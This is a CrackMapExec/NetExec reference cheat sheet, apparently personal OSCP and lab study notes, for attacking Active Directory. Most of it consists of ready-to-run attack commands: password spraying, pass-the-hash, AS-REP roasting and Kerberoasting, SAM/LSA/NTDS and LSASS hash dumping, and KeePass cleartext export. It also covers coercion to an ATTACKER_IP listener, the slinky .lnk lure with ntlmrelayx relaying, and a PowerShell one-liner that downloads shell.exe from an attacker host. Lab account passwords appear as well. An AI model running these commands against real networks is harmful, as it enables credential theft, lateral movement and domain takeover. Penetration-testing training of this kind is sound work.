CrackMapExec / NetExec — Reference

Ctrl+F: user-desc · backup_operator · SeBackupPrivilege · SeRestorePrivilege · diskshadow · gmsa · keepass · --ntds · rid-brute · asreproast · -k · --spider · --get-file

External: Internal All The Things — Pass the Hash

What is CrackMapExec?

CrackMapExec (CME) is an automated network pentesting tool focused on Active Directory environments. It can spray credentials across entire subnets, enumerate shares, execute commands, dump hashes, and much more — all in one tool.

NetExec (nxc) is the maintained successor to CME — same syntax, actively developed. Use nxc if available; fall back to cme or crackmapexec otherwise.

OSCP use: After getting credentials (or a hash), spray across the subnet to find where they work, then execute commands or dump hashes on reachable hosts.

NetExec (nxc) Wiki
NetExec docs — protocols, modules, flags. Target formats → netexec.wiki/target-formats. Vault → CrackMapExec - nxc.

Install (Kali)

sudo apt update && sudo apt install -y crackmapexec

Verify: nxc --version or crackmapexec --version

Full install index → Installation - Kali Setup

Syntax

netexec <protocol> <target> [options]
crackmapexec <protocol> <target> [options]
cme <protocol> <target> [options]

Protocols

Protocol	Description
`smb`	Windows SMB (most used)
`ssh`	SSH
`winrm`	Windows Remote Management
`mssql`	Microsoft SQL Server
`rdp`	Remote Desktop Protocol
`ldap`	LDAP / Active Directory
`ftp`	FTP
`wmi`	WMI
`vnc`	VNC

📌 1) All Common Flags (SMB)

Flag	Description
`-u <user>`	Username or list of usernames (`-u users.txt`)
`-p <pass>`	Password or list of passwords (`-p passes.txt`)
`-H <hash>`	NTLM hash for pass-the-hash (`LM:NT` or just `NT`)
`-d <domain>`	Domain name
`--local-auth`	Authenticate using local account (not domain)
`--shares`	Enumerate shares
`--sessions`	Enumerate active sessions
`--disks`	Enumerate disks
`--loggedon-users`	Enumerate logged on users
`--users`	Enumerate domain users
`--groups`	Enumerate domain groups
`--computers`	Enumerate domain computers
`--pass-pol`	Dump password policy
`--rid-brute <MAX>`	Brute-force RIDs via SMB → enumerate users (guest/null)
`--kerberoasting <file>`	Kerberoast to file (ldap)
`--asreproast <file>`	AS-REP roast to file (ldap)
`-x <cmd>`	Execute a CMD command
`-X <cmd>`	Execute a PowerShell command
`--exec-method <method>`	Execution method: `wmiexec`, `atexec`, `smbexec`, `mmcexec`
`--sam`	Dump SAM hashes (local)
`--lsa`	Dump LSA secrets
`--ntds`	Dump NTDS.dit (Domain Controller — all hashes)
`-M <module>`	Run an nxc module (see §9)
`-o <KEY=VAL>`	Module option (repeatable). Check with `-M NAME --options`
`-L [protocol]`	List modules (`nxc smb -L`, `nxc ldap -L`, or `nxc -L`)
`--options`	With `-M`, show required/optional options for that module
`--continue-on-success`	Don’t stop after first valid cred
`--no-bruteforce`	Test each user:password pair (not all combos)
`-t <N>`	Number of concurrent threads (default: 100)
`--timeout <sec>`	Connection timeout
`--port <N>`	Target port
`-v`	Verbose output
`-k`, `--kerberos`	Kerberos authentication (auto TGT/ST from `-u`/`-p`/`-H`/`-aesKey`)
`--use-kcache`	Use ticket from `KRB5CCNAME` ccache (no password needed)
`--aesKey <key>`	Kerberos auth with AES-128/256 key
`--kdcHost <ip>`	KDC host for Kerberos
`--share <name>`	Target a specific SMB share (with `--get-file` / `--spider`)
`--spider <share>`	Recursively spider files on a share
`--regex <pattern>`	Regex filter for spider (folders, filenames, content)
`--pattern <pattern>`	Literal pattern filter for spider
`--spider-folder <path>`	Subfolder to spider (default `.`)
`--get-file <remote> <local>`	Download file from share — pair with `--share`
`--put-file <local> <remote>`	Upload file to remote path on share
`--generate-krb5-file FILE`	Write Kerberos config template for domain → Kerberos Setup - krb5.conf
`--generate-hosts-file FILE`	Write `/etc/hosts` entries for targets
`--gen-relay-list FILE`	Write hosts where SMB signing is not required (NTLM relay targets)

LDAP AS-REP roast (built-in flag)

When: You have a username list (users.txt) but no passwords — find accounts with Kerberos preauth disabled (AS-REP roastable).

nxc ldap DC01.cyberryan.local -u users.txt -p '' --asreproast asreproast.txt
nxc ldap 192.168.0.104 -u users.txt -p '' --asreproast output.txt

Crack → Hashcat -m 18200 · See Kerberoast

📌 2b) RID brute — enumerate users (guest / null SMB)

When: SMB 445 open, no creds yet — brute-force RIDs to discover local/domain usernames. Works with guest or null session on many lab/legacy configs.

nxc smb 10.10.10.10 -u "guest" -p "" --rid-brute 1000
nxc smb DC_IP -u "guest" -p '' --rid-brute 5000

Build users.txt from output (filter SidTypeUser lines):

nxc smb 10.10.10.10 -u "guest" -p "" --rid-brute 1000 2>&1 \
  | grep "(SidTypeUser)" \
  | cut -d '\' -f2 \
  | cut -d ' ' -f1 \
  > users.txt

Next steps with users.txt:

# AS-REP roast (no password)
nxc ldap DC01.domain.local -u users.txt -p '' --asreproast asreproast.txt
 
# Password spray (check --pass-pol first!)
nxc smb 10.10.10.0/24 -u users.txt -p 'Password123!' --continue-on-success

Alternatives: lookupsid & samrdump · enum4linux · rpcclient

# Quick check — version, signing, OS
nxc smb 10.10.10.10
 
# Scan an entire subnet
nxc smb 10.10.10.0/24
 
# Read targets from file
nxc smb targets.txt
 
# Build /etc/hosts entries from SMB hostname discovery
nxc smb 10.129.8.240 --generate-hosts-file hosts
sudo tee -a /etc/hosts < hosts

See Every Box - Manual Workflow · Templates

Sample output

SMB   10.10.10.10   445   DC01  [*] Windows Server 2019 (name:DC01) (domain:corp.local) (signing:True) (SMBv1:False)
SMB   10.10.10.20   445   WS01  [*] Windows 10 Pro (name:WS01) (domain:corp.local) (signing:False) (SMBv1:False)

signing:False means the host is vulnerable to SMB relay attacks.

📌 3) Authentication Testing

# Test a single credential pair
nxc smb 10.10.10.10 -u admin -p password
 
# Test against whole subnet
nxc smb 10.10.10.0/24 -u admin -p password
 
# Local account (not domain)
nxc smb 10.10.10.10 -u admin -p password --local-auth
 
# Pass-the-Hash
nxc smb 10.10.10.10 -u Administrator -H 'aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0'
 
# NT hash only (without LM)
nxc smb 10.10.10.10 -u Administrator -H '31d6cfe0d16ae931b73c59d7e0c089c0'

Output status codes

Status	Meaning
`[+]` green	Valid credentials
`[-]` red	Invalid credentials
`(Pwn3d!)`	Admin-level access confirmed
`[-] STATUS_LOGON_FAILURE`	Wrong password
`[-] STATUS_ACCOUNT_LOCKED_OUT`	Account locked — stop spraying!
`[-] STATUS_PASSWORD_EXPIRED`	Password expired

📌 4) Password Spraying

Spray a single password against many usernames — the safe way to brute-force without lockouts:

# Spray one password against a user list
nxc smb 10.10.10.10 -u users.txt -p 'Summer2024!' --continue-on-success
 
# Spray across subnet
nxc smb 10.10.10.0/24 -u users.txt -p 'Password123' --continue-on-success
 
# Test pairs from a combined file (user:pass per line) — no brute-force
nxc smb 10.10.10.10 -u users.txt -p passwords.txt --no-bruteforce --continue-on-success
 
# Check password policy FIRST before spraying
nxc smb 10.10.10.10 -u valid_user -p password --pass-pol

Always check --pass-pol before spraying. If lockout threshold is 5, you have 4 safe attempts per account.

📌 4b) Kerberos authentication (`-k`)

Use -k when the lab expects Kerberos (or you have tickets / AES keys). nxc handles TGT/ST from password, hash, or AES key — or use an existing ccache.

# Password + Kerberos (FQDN target + -d domain)
nxc smb DC.voleur.htb -u ryan.naylor -p 'HollowOct31Nyt' -d voleur.htb -k --shares
 
# Existing ticket (impacket-getTGT, ticketer, etc.)
export KRB5CCNAME=/path/to/user.ccache
nxc smb DC.voleur.htb -k --use-kcache --shares
 
# AES key (from AS-REP / kerberoast crack)
nxc smb DC.voleur.htb -u user -aesKey 'AES128_OR_AES256_HEX' -k --shares

Requirements: Kerberos Setup - krb5.conf (hosts + /etc/krb5.conf) · Time Sync-Clock Skew · target as hostname (DC.domain.htb) when using -k.

# Generate krb5.conf template (step 1 of Kerberos setup)
nxc smb DC.voleur.htb -u 'ryan.naylor' -p 'PASS' -d voleur.htb -k --generate-krb5-file voleur.krb5
cat voleur.krb5 | sudo tee /etc/krb5.conf
sudo timedatectl set-ntp false && sudo ntpdate DC_IP

See Kerberos Scripts · Use Kerberos Ticket · NetExec Kerberos

# List shares
nxc smb 10.10.10.10 -u admin -p password --shares
 
# Kerberos example
nxc smb DC.voleur.htb -u ryan.naylor -p 'HollowOct31Nyt' -k --shares
 
# Anonymous share listing (null session)
nxc smb 10.10.10.10 -u '' -p '' --shares
 
# Across subnet
nxc smb 10.10.10.0/24 -u admin -p password --shares

# Spider share IT — regex `.` matches everything (list all files)
nxc smb DC.voleur.htb -u ryan.naylor -p 'HollowOct31Nyt' -d voleur.htb -k \
  --spider IT --regex .
 
# Narrow search — e.g. xlsx / config files
nxc smb TARGET -u user -p pass --spider C$ --regex '\.(xlsx|xml|config)$'
nxc smb TARGET -u user -p pass --spider DATA --pattern password

Alternative module: -M spider_plus (see §9).

Download a file (`--get-file`)

# Remote path on share → local filename (use --share)
nxc smb DC.voleur.htb -u ryan.naylor -p 'HollowOct31Nyt' -d voleur.htb -k \
  --share IT --get-file 'First-Line Support\\Access_Review.xlsx' Access_Review.xlsx
 
# Generic pattern
nxc smb TARGET -u user -p pass --share ShareName \
  --get-file 'folder\\remote.txt' local.txt

After download: password-protected Office files → Office Documents (office2john → crack → msoffcrypto-tool).

See NetExec get/put files · smbclient · smbmap

📌 6) User & Domain Enumeration

# Enumerate domain users
nxc smb 10.10.10.10 -u admin -p password --users
 
# Enumerate domain groups
nxc smb 10.10.10.10 -u admin -p password --groups
 
# Enumerate domain computers
nxc smb 10.10.10.10 -u admin -p password --computers
 
# Who is logged on right now
nxc smb 10.10.10.10 -u admin -p password --loggedon-users
 
# Active sessions
nxc smb 10.10.10.10 -u admin -p password --sessions
 
# Password policy
nxc smb 10.10.10.10 -u admin -p password --pass-pol

📌 7) Command Execution

Requires admin-level access (Pwn3d!):

# Execute CMD command
nxc smb 10.10.10.10 -u admin -p password -x "whoami"
nxc smb 10.10.10.10 -u admin -p password -x "ipconfig"
nxc smb 10.10.10.10 -u admin -p password -x "net localgroup administrators"
 
# Execute PowerShell command
nxc smb 10.10.10.10 -u admin -p password -X "Get-Process"
nxc smb 10.10.10.10 -u admin -p password -X "(New-Object Net.WebClient).DownloadFile('http://ATTACKER/shell.exe','C:\Temp\shell.exe')"
 
# Execution method (default: wmiexec)
nxc smb 10.10.10.10 -u admin -p password -x "whoami" --exec-method smbexec
nxc smb 10.10.10.10 -u admin -p password -x "whoami" --exec-method atexec

📌 8) Hash Dumping — `--ntds`, `--sam`, `--lsa`

When: Admin (or DCSync rights) on a host — dump hashes for offline crack or Pass-the-Hash.

# Dump SAM (local account hashes — requires admin on member server/workstation)
nxc smb 10.10.10.10 -u admin -p password --sam
 
# Dump LSA secrets (service account creds, cached domain creds)
nxc smb 10.10.10.10 -u admin -p password --lsa
 
# Dump NTDS.dit from Domain Controller (ALL domain user hashes)
nxc smb DC_IP -u admin -p password --ntds
nxc smb 10.10.10.10 -u admin -p password --ntds
 
# Pass-the-Hash
nxc smb 10.10.10.10 -u Administrator -H 'NTLM_HASH' --sam
nxc smb DC_IP -u Administrator -H 'NTLM_HASH' --ntds

Crack → Hashcat -m 1000 · Alternative modules: ntdsutil, ntds-dump-raw (see §9)

OSCP: --ntds on DC = domain-wide hash dump (same goal as secretsdump -just-dc-ntlm).

📌 8b) User export & user descriptions

When: You have valid domain creds — build user lists, find passwords in description fields, export for spray/AS-REP.

Export domain users (built-in flags)

# SMB — list domain users
nxc smb 10.10.10.10 -u admin -p password --users
 
# LDAP — list users (often cleaner output)
nxc ldap 10.10.10.10 -u admin -p password --users
nxc ldap 10.10.10.10 -u jsmith -p 'Password1' -d corp.local --users
 
# Save for spray / AS-REP (redirect or grep sAMAccountName from ldap)
nxc ldap DC_IP -u admin -p password --users 2>&1 | tee users_export.txt

User description modules (passwords in `description` / `info`)

When: Labs hide creds in AD user description — run after you have any domain user creds.

nxc smb 10.10.10.10 -u admin -p password -M user-desc
nxc smb 10.10.10.10 -u admin -p password -M get-desc-users
nxc smb 10.10.10.10 -u admin -p password -M get-info-users

Module	Purpose
`user-desc`	Pull user description fields via SMB/LDAP
`get-desc-users`	User descriptions (alternate module name on some builds)
`get-info-users`	Extended user info attributes

Check your build: nxc smb -L | grep -i desc

Alternatives: ldapsearch description filter · enum4linux

📌 8c) gMSA — Group Managed Service Accounts (`--gmsa`)

When: BloodHound / ACL enum shows ReadGMSAPassword on a gMSA — dump managed password for lateral movement (IIS, SQL, etc.).

Requires ReadGMSAPassword right. Uses LDAPS automatically.

nxc ldap DC_IP -u USER -p PASS --gmsa
nxc ldap ignite.local -u komal -p 'Password@1' --gmsa

Output: gMSA account names, NTLM/RC4 and AES Kerberos keys.

Use keys → Impacket getST / Pass-the-Hash · gMSADumper (standalone) · See NetExec dump gMSA

📌 8d) KeePass modules — `keepass_discover` / `keepass_trigger`

When: Admin on Windows host where users store creds in KeePass — find .kdbx / config, optionally trigger cleartext export when victim opens KeePass.

Step 1 — Discover

nxc smb 10.10.10.10 -u admin -p password -M keepass_discover

Finds KeePass DB paths, KeePass.config.xml, running KeePass process.

Step 2 — Trigger (optional — needs admin + user to unlock KeePass)

nxc smb 10.10.10.10 -u admin -p password -M keepass_trigger \
  -o KEEPASS_CONFIG_PATH="C:\Users\user\AppData\Roaming\KeePass\KeePass.config.xml"
 
# Some builds:
nxc smb TARGET -u admin -p password -M keepass_trigger \
  -o ACTION=ALL KEEPASS_CONFIG_PATH="C:\Users\crypt0rr\AppData\Roaming\KeePass\KeePass.config.xml"

Wait for user to open KeePass → retrieve exported cleartext DB → remove trigger.

Offline `.kdbx` route

keepass2john database.kdbx > keepass.hash
hashcat -m 13400 keepass.hash /usr/share/wordlists/rockyou.txt

Memory dump route (KeePass < 2.54)

Process dump / pagefile → keepass-password-dumper → open .kdbx with kpcli (sudo apt-get install kpcli -y).

See John > keepass2john · Hashcat -m 13400 · keepass-password-dumper (memory dump CVE-2023-32784) · NetExec Dump KeePass

📌 9) Modules (`-M`)

Modules are protocol-specific. List what your install supports:

nxc -L                    # all protocols
nxc smb -L                # SMB modules only (most OSCP modules)
nxc ldap -L               # LDAP modules (if any on your build)
 
# Module help — required -o options
nxc smb -M lsassy --options
nxc smb -M web_delivery --options

Deprecated / removed: mimikatz and minikatz are not valid on current NetExec. Use handlekatz, lsassy, nanodump, masky, or wdigest instead. BloodHound collection is bloodhound-python / RustHound — not an nxc ldap -M module.

Syntax

nxc smb TARGET -u USER -p PASS -M MODULE_NAME
nxc smb TARGET -u USER -p PASS -M MODULE_NAME -o KEY=VALUE -o KEY2=VALUE2

OSCP — credential dump (replaces mimikatz/minikatz)

Requires admin (Pwn3d!). Pick one — check --options on your box:

# Remote LSASS dump (common choices)
nxc smb 192.168.190.97 -u 'Eric.Wallows' -p 'EricLikesRunning800' -M lsassy
nxc smb 10.10.10.10 -u admin -p password -M handlekatz
nxc smb 10.10.10.10 -u admin -p password -M nanodump
nxc smb 10.10.10.10 -u admin -p password -M masky
 
# Enable WDigest for cleartext on next logon (legacy boxes)
nxc smb 10.10.10.10 -u admin -p password -M wdigest -o ACTION=enable
 
# Proc dump LSASS
nxc smb 10.10.10.10 -u admin -p password -M procdump

Also: --sam, --lsa, --ntds (built-in flags, not modules) · secretsdump · Mimikatz on-box.

OSCP — Backup Operators / SeBackupPrivilege (backup_operator)

If whoami /priv shows SeBackupPrivilege (or user is in Backup Operators group) — no local admin needed. The module abuses backup rights to shadow-copy and dump SAM / SECURITY / SYSTEM / NTDS.dit on the target (including DC → full domain hash dump).

All methods (on-box diskshadow, robocopy, wbadmin, DLLs): SeBackupPrivilege

# Check module options on your install
nxc smb -M backup_operator --options
 
# Password auth
nxc smb 10.10.10.192 -u svc_backup -p 'Password123' -M backup_operator
 
# Pass-the-Hash (common after Kerberoast / LSASS)
nxc smb 10.10.10.192 -u svc_backup -H 9658d1d1dcd9250115e2205d9f48400d -M backup_operator
 
# Domain user format
nxc smb DC_IP -u 'DOMAIN\svc_backup' -H NTHASH -M backup_operator

What it does: creates VSS shadow copy → copies NTDS.dit + SYSTEM hive → downloads → parses NTLM hashes locally.

When to try: WinPEAS / whoami /priv flags SeBackupPrivilege · account name like svc_backup · Backup Operators group membership.

→ SeBackupPrivilege (all methods) · SeRestorePrivilege (restore/write) · NetExec — Dump with BackupOperator

OSCP — GPP, policy, quick wins

nxc smb 10.10.10.10 -u admin -p password -M gpp_password
nxc smb 10.10.10.10 -u admin -p password -M gpp_autologin
nxc smb 10.10.10.10 -u admin -p password -M laps
nxc smb 10.10.10.10 -u admin -p password -M pre2k
nxc smb 10.10.10.10 -u admin -p password -M reg-winlogon
nxc smb 10.10.10.10 -u admin -p password -M powershell_history

OSCP — vuln / misconfig checks

nxc smb 10.10.10.10 -M ms17-010
nxc smb 10.10.10.10 -u admin -p password -M spooler          # Print spooler / PrintNightmare prep
nxc smb 10.10.10.10 -u admin -p password -M printnightmare
nxc smb 10.10.10.10 -u admin -p password -M zerologon
nxc smb 10.10.10.10 -u admin -p password -M nopac
nxc smb 10.10.10.10 -u admin -p password -M ntlmv1
nxc smb 10.10.10.10 -u admin -p password -M runasppl

OSCP — coerce / relay setup

nxc smb 10.10.10.10 -u admin -p password -M petitpotam -o LISTENER=ATTACKER_IP
nxc smb 10.10.10.10 -u admin -p password -M printerbug -o LISTENER=ATTACKER_IP
nxc smb 10.10.10.10 -u admin -p password -M dfscoerce -o LISTENER=ATTACKER_IP
nxc smb 10.10.10.10 -u admin -p password -M shadowcoerce -o LISTENER=ATTACKER_IP
nxc smb 10.10.10.10 -u admin -p password -M webdav

OSCP — `slinky` (writable share NTLM lure)

When there is no LLMNR broadcast traffic but you have write access to SMB shares — drops .lnk shortcuts whose icon UNC points at your listener. Anyone browsing the share in Explorer triggers SMB auth to SERVER (hash capture or relay).

# Module options
nxc smb -M slinky --options
# Required: SERVER (your tun0 IP) · NAME (lure filename, no .lnk needed)
# Optional: CLEANUP=True (remove lures after test)
 
# 1. Plant lure on all writable shares on target
nxc smb 192.168.121.173 -u 'Eric.Wallows' -p 'EricLikesRunning800' \
  -M slinky -o SERVER=192.168.45.159 NAME=README
 
# 2. Browse share (verify lure / understand victim view)
smbclient //192.168.121.173/Apps/ -U 'laser.com/Eric.Wallows'
 
# 3. Build relay target list (signing not required)
nxc smb 192.168.121.172-174 -u 'Eric.Wallows' -p 'EricLikesRunning800' \
  --gen-relay-list smb_targets.txt
 
# 4. Relay — SMB lure only (no HTTP server)
impacket-ntlmrelayx --no-http-server -smb2support -tf smb_targets.txt
 
# Cleanup after pentest
nxc smb 192.168.121.173 -u 'Eric.Wallows' -p 'EricLikesRunning800' \
  -M slinky -o SERVER=192.168.45.159 NAME=README CLEANUP=True

Workflow: writable share creds → slinky → gen-relay-list → ntlmrelayx (+ Responder with SMB/HTTP Off if also poisoning). Range syntax 172-174 works on nxc. Many lure types → ntlm_theft + bulk upload (mount or native smbclient — not impacket).

→ ntlmrelayx · Responder · smbclient

Option names vary by version — always run nxc smb -M MODULE --options before exam day.

OSCP — NTDS / DC

nxc smb 10.10.10.10 -u admin -p password -M ntdsutil
nxc smb 10.10.10.10 -u admin -p password -M ntds-dump-raw
nxc smb 10.10.10.10 -u admin -p password -M timeroast

OSCP — execution / stagers

nxc smb 10.10.10.10 -u admin -p password -M web_delivery -o URL=http://ATTACKER/payload
nxc smb 10.10.10.10 -u admin -p password -M enable_cmdshell

OSCP — AD / enum modules

nxc smb 10.10.10.10 -u admin -p password -M enum_trusts
nxc smb 10.10.10.10 -u admin -p password -M enum_dns
nxc smb 10.10.10.10 -u admin -p password -M user-desc
nxc smb 10.10.10.10 -u admin -p password -M subnets
nxc smb 10.10.10.10 -u admin -p password -M adcs
nxc smb 10.10.10.10 -u admin -p password -M certipy-find
nxc smb 10.10.10.10 -u admin -p password -M spider_plus

OSCP — saved creds on disk

→ Firefox Credentials - firefox_decrypt (manual Linux loot + Kali decrypt)

nxc smb 10.10.10.10 -u admin -p password -M firefox
nxc smb 10.10.10.10 -u admin -p password -M putty
nxc smb 10.10.10.10 -u admin -p password -M winscp
nxc smb 10.10.10.10 -u admin -p password -M mobaxterm
nxc smb 10.10.10.10 -u admin -p password -M keepass_discover

Full SMB module list (current NetExec)

Modules from nxc smb -L — if a name fails, your build may differ; re-run -L:

Module	Typical use
`adcs`	AD CS enumeration
`add-computer`	Add machine to domain
`aws-credentials`	Hunt AWS creds
`backup_operator`	SeBackupPrivilege — VSS + NTDS/SAM dump (no admin)
`badsuccessor`	BadSuccessor / AD CS
`bitlocker`	BitLocker recovery info
`certipy-find`	Certipy-style cert enum
`change-password`	Force password change
`coerce_plus`	Multi-method coercion
`daclread`	Read object DACLs
`dfscoerce`	DFS coercion
`dns-nonsecure`	DNS update abuse
`dpapi_hash`	DPAPI blob / hash
`drop-library-ms`	Library-ms drop
`drop-sc`	Shortcut drop
`dump-computers`	Computer account dump
`efsr_spray`	EFS RPC spray
`empire_exec`	Empire launcher
`enable_cmdshell`	Enable cmd shell
`entra-id`	Entra ID / Azure AD
`enum_av`	AV product enum
`enum_ca`	CA enum
`enum_dns`	DNS enum
`enum_impersonate`	Impersonation privs
`enum_interfaces`	Network interfaces
`enum_links`	AD links
`enum_logins`	Login history
`enum_trusts`	Domain trusts
`eventlog_creds`	Creds in event logs
`exec_on_link`	Exec via link
`find-computer`	Find computer object
`firefox`	Firefox saved creds
`get-desc-users`	User descriptions
`get-info-users`	User info
`get-network`	Network config
`get-unixUserPassword`	unixUserPassword (LDAP)
`get-userPassword`	userPassword attr
`get_netconnections`	Active connections
`gpp_autologin`	GPP autologin
`gpp_password`	GPP cpassword in SYSVOL
`gpp_privileges`	GPP privilege files
`group-mem`	Group membership
`groupmembership`	Group members
`handlekatz`	LSASS dump via handle
`hash_spider`	Hash reuse spider
`hyperv-host`	Hyper-V host enum
`iis`	IIS config / creds
`impersonate`	Token impersonation
`install_elevated`	AlwaysInstallElevated
`ioxidresolver`	IOXID resolver
`keepass_discover`	Find KeePass DBs
`keepass_trigger`	KeePass trigger
`laps`	LAPS passwords
`ldap-checker`	LDAP signing/channel binding
`link_enable_cmdshell`	Linked server cmdshell
`link_xpcmd`	Linked server xp_cmdshell
`lockscreendoors`	Lock screen bypass
`lsassy`	Remote LSASS dump
`maq`	MachineAccountQuota
`masky`	Masky LSASS technique
`met_inject`	Meterpreter inject
`mobaxterm`	MobaXterm sessions
`mremoteng`	mRemoteNG creds
`ms17-010`	EternalBlue check
`msol`	MS Online / Azure
`mssql_coerce`	MSSQL coercion
`mssql_priv`	MSSQL privesc
`nanodump`	NanoDump LSASS
`nopac`	noPAC check
`notepad`	Notepad files
`notepad++`	Notepad++ sessions
`ntds-dump-raw`	Raw NTDS dump
`ntdsutil`	NTDS via ntdsutil
`ntlm_reflection`	NTLM reflection
`ntlmv1`	NTLMv1 downgrade
`obsolete`	Obsolete OS flag
`petitpotam`	PetitPotam coerce
`pi`	PI / extra enum
`powershell_history`	PSReadLine history → PowerShell History - PSReadLine
`pre2k`	Pre-Windows 2000 compat group
`presence`	User presence
`printerbug`	PrinterBug coerce
`printnightmare`	PrintNightmare
`procdump`	ProcDump LSASS
`pso`	PSO enum
`putty`	PuTTY sessions
`raisechild`	Child domain privesc
`rdcman`	RDCMan creds
`rdp`	RDP settings
`recent_files`	Recent files
`recyclebin`	Recycle bin
`reg-query`	Registry query
`reg-winlogon`	Winlogon autologon
`remote-uac`	Remote UAC
`remove-mic`	Remove MIC
`runasppl`	Credential Guard / ASR
`sccm`	SCCM
`sccm-recon6`	SCCM recon
`schtask_as`	Scheduled task as SYSTEM
`scuffy`	Scuffy
`security-questions`	Security questions
`shadowcoerce`	Shadow coerce
`shadowrdp`	Shadow RDP
`slinky`	Writable-share `.lnk` lure — icon UNC → NTLM coerce → ntlmrelayx
`smbghost`	SMBGhost CVE
`snipped`	Snipped
`spider_plus`	Share spider
`spooler`	Spooler service check
`subnets`	Subnet enum
`teams_localdb`	Teams local DB
`test_connection`	Test connectivity
`timeroast`	Timeroast
`tombstone`	AD deleted objects — query / restore / delete (ldap only)
`uac`	UAC settings
`user-desc`	User descriptions
`veeam`	Veeam creds
`vnc`	VNC passwords
`wam`	Web Account Manager
`wcc`	WCC
`wdigest`	WDigest enable/dump
`web_delivery`	PowerShell web delivery
`webdav`	WebDAV coerce
`whoami`	Extended whoami
`wifi`	WiFi profiles
`winscp`	WinSCP sessions
`zerologon`	Zerologon check

📌 10) nxc ldap — AD LDAP Enumeration

Full LDAP enum from Kali when you have domain creds — alternative to ldapsearch and PowerView.

# User / group / computer enum
nxc ldap 10.10.10.10 -u jsmith -p 'Password1' -d corp.local --users
nxc ldap 10.10.10.10 -u jsmith -p Password1 --groups
nxc ldap 10.10.10.10 -u jsmith -p Password1 --computers
 
# Password policy (before spraying!)
nxc ldap 10.10.10.10 -u jsmith -p Password1 --pass-pol
 
# Kerberos attacks from LDAP (built-in flags — not modules)
nxc ldap DC01.cyberryan.local -u users.txt -p '' --asreproast asreproast.txt
nxc ldap 10.10.10.10 -u jsmith -p Password1 --asreproast asrep.txt
nxc ldap 10.10.10.10 -u users.txt -p '' --kerberoasting kerb.txt
nxc ldap 10.10.10.10 -u jsmith -p Password1 --kerberoasting kerb.txt
 
# BloodHound — use bloodhound-python / RustHound (NOT an nxc -M module)
bloodhound-python -u jsmith -p 'Password1' -d corp.local -ns 10.10.10.10 -c All --zip
 
# Query specific LDAP attributes
nxc ldap 10.10.10.10 -u jsmith -p Password1 --query "(objectClass=user)" sAMAccountName

📌 tombstone module (`ldap -M tombstone`)

LDAP-only module (PR #736 · Fabrizzio53/NetExec) — interact with AD deleted objects (tombstones) in CN=Deleted Objects.

Capability	`ACTION`	What it does
List tombstones	`query` (default)	Enumerate deleted users/computers — `sAMAccountName`, `dn`, `ID`, `lastKnownParent`
Restore object	`restore` + `ID=`	Undelete user — clear `isDeleted`, move DN to `lastKnownParent`
Delete active object	`delete` + `DN=`	Send live object to deleted-objects container

Requires: AD Recycle Bin enabled · LDAP rights on deleted objects · creds with restore permission (lab-specific).

Stock Kali nxc may not ship tombstone yet. Clone Fabrizzio53 fork and run via uv (voleur.htb / 0xdf walkthrough):

# Install fork (PR not always merged into main NetExec)
git clone https://github.com/Fabrizzio53/NetExec.git /opt/NetExec
cd /opt/NetExec
 
# First run — uv creates .venv, builds netexec + deps
uv run ./nxc/netexec.py
# protocols: rdp smb vnc ssh ftp mssql ldap winrm wmi nfs
 
# Alias for rest of session (from /opt/NetExec)
alias nxc-tomb='uv run ./nxc/netexec.py'

Once merged upstream, use normal nxc ldap … -M tombstone from apt/pip install.

Module options

nxc ldap -M tombstone --options
# or: uv run ./nxc/netexec.py ldap -M tombstone --options

Option	Values	Purpose
`ACTION`	`query` · `restore` · `delete`	Operation (default: `query`)
`ID`	GUID from query (`1c6b1deb-c372-4cbb-87b1-15031de169db`)	Required for `restore`
`DN`	Full distinguished name	Required for `delete`

Query deleted objects (voleur.htb)

uv run ./nxc/netexec.py ldap dc.voleur.htb -u svc_ldap -p 'M1XyC9pW7qT5Vn' -k \
  -M tombstone -o ACTION=query
 
# Stock nxc (when module available):
nxc ldap dc.voleur.htb -u svc_ldap -p 'M1XyC9pW7qT5Vn' -k -M tombstone -o ACTION=query

Expected output (voleur — todd.wolfe deleted):

LDAP        dc.voleur.htb   389    DC    [+] voleur.htb\svc_ldap:M1XyC9pW7qT5Vn
TOMBSTONE   dc.voleur.htb   389    DC    Found 2 deleted objects
TOMBSTONE   dc.voleur.htb   389    DC    sAMAccountName      todd.wolfe
TOMBSTONE   dc.voleur.htb   389    DC    dn      CN=Todd Wolfe\0ADEL:1c6b1deb-c372-4cbb-87b1-15031de169db,CN=Deleted Objects,DC=voleur,DC=htb
TOMBSTONE   dc.voleur.htb   389    DC    ID      1c6b1deb-c372-4cbb-87b1-15031de169db
TOMBSTONE   dc.voleur.htb   389    DC    isDeleted       TRUE
TOMBSTONE   dc.voleur.htb   389    DC    lastKnownParent OU=Second-Line Support Technicians,DC=voleur,DC=htb

Copy ID for restore. \0ADEL: in DN = tombstone marker.

Restore deleted user

uv run ./nxc/netexec.py ldap dc.voleur.htb -u svc_ldap -p 'M1XyC9pW7qT5Vn' -k \
  -M tombstone -o ACTION=restore ID=1c6b1deb-c372-4cbb-87b1-15031de169db
 
# Optional on some builds:
# -o ACTION=restore ID=1c6b1deb-c372-4cbb-87b1-15031de169db SCHEME=ldap

Restores distinguishedName to lastKnownParent and clears isDeleted — todd.wolfe becomes active again (LDAP auth to that user works).

Delete object (send to tombstone)

nxc ldap DC_IP -u user -p 'PASS' -M tombstone \
  -o ACTION=delete DN="CN=test,OU=Users,DC=domain,DC=local"

Useful when duplicate named objects block restore.

voleur.htb full chain (after restore)

1. uv run … ldap … -M tombstone -o ACTION=query     → ID for todd.wolfe
2. uv run … -M tombstone -o ACTION=restore ID=…       → user active
3. targetedKerberoast -d voleur.htb -u svc_ldap -k --dc-host DC  → [[Kerberoast]]
4. impacket-smbclient -k todd.wolfe@dc.voleur.htb                   → [[smbclient]]

→ Kerberos Setup - krb5.conf for -k · ldapsearch · Git & GitHub (clone fork)

nxc ldap vs ldapsearch

Task	nxc ldap	ldapsearch
Needs creds	Yes (usually)	Anonymous often works
Custom LDAP filters	Limited	Full control
Kerberoast output	`--kerberoasting`	Manual + Impacket
Speed / OSCP friendly	✅ One-liners	✅ Flexible queries

See ldapsearch, Kerberoast.

📌 11) Password Spray — SMB + LDAP Combined Workflow

Safe spray pattern (always check lockout policy first):

# 1. Get password policy
nxc smb DC_IP -u known_user -p known_pass --pass-pol
nxc ldap DC_IP -u known_user -p known_pass --pass-pol
 
# 2. Build users.txt (Kerbrute, RID brute, lookupsid, ldapsearch, enum4linux)
nxc smb DC_IP -u "guest" -p "" --rid-brute 1000 2>&1 | grep "(SidTypeUser)" | cut -d '\' -f2 | cut -d ' ' -f1 > users.txt
 
